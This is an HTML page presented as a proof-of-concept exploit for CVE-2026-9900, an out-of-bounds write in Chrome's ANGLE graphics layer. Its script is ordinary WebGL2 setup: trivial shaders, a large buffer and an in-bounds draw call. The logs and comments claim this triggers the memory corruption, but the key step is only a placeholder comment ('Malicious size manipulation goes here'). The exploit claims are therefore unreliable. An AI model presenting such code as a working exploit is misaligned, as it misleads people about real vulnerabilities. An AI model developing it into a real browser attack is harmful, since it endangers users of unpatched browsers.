<!-- Conceptual Proof of Concept for CVE-2026-9900 -->
<html>
<body>
<script type="text/javascript">
// This PoC demonstrates a potential trigger for an ANGLE OOB write
// It requires a vulnerable version of Chrome and a compromised renderer context
try {
var canvas = document.createElement('canvas');
var gl = canvas.getContext('webgl2');
if (gl) {
console.log("[+] WebGL2 context initialized");
// Create a shader program that interacts with ANGLE translation layer
var vsSource = `
#version 300 es
in vec4 aPosition;
void main() {
gl_Position = aPosition;
}
`;
var fsSource = `
#version 300 es
precision highp float;
out vec4 fragColor;
void main() {
fragColor = vec4(1.0, 0.0, 0.0, 1.0);
}
`;
function createShader(gl, type, source) {
var shader = gl.createShader(type);
gl.shaderSource(shader, source);
gl.compileShader(shader);
if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
console.error("Shader compile error:", gl.getShaderInfoLog(shader));
gl.deleteShader(shader);
return null;
}
return shader;
}
var vertexShader = createShader(gl, gl.VERTEX_SHADER, vsSource);
var fragmentShader = createShader(gl, gl.FRAGMENT_SHADER, fsSource);
var program = gl.createProgram();
gl.attachShader(program, vertexShader);
gl.attachShader(program, fragmentShader);
gl.linkProgram(program);
if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {
console.error("Program link error:", gl.getProgramInfoLog(program));
} else {
gl.useProgram(program);
// Setup buffer with specific size to trigger OOB logic
// Malicious size manipulation goes here
var buffer = gl.createBuffer();
gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
// Attempt to allocate a large buffer that might cause OOB write in ANGLE
var data = new Float32Array(0x100000);
gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW);
// Define attributes
var positionLocation = gl.getAttribLocation(program, "aPosition");
gl.enableVertexAttribArray(positionLocation);
gl.vertexAttribPointer(positionLocation, 3, gl.FLOAT, false, 0, 0);
// Trigger draw call which may exploit the vulnerability
// This is where the OOB write occurs in vulnerable versions
console.log("[+] Triggering draw call...");
gl.drawArrays(gl.TRIANGLES, 0, 0xFFFF);
console.log("[+] Exploit attempt finished");
}
}
} catch (e) {
console.log("[-] Error during PoC execution: " + e.message);
}
</script>
</body>
</html>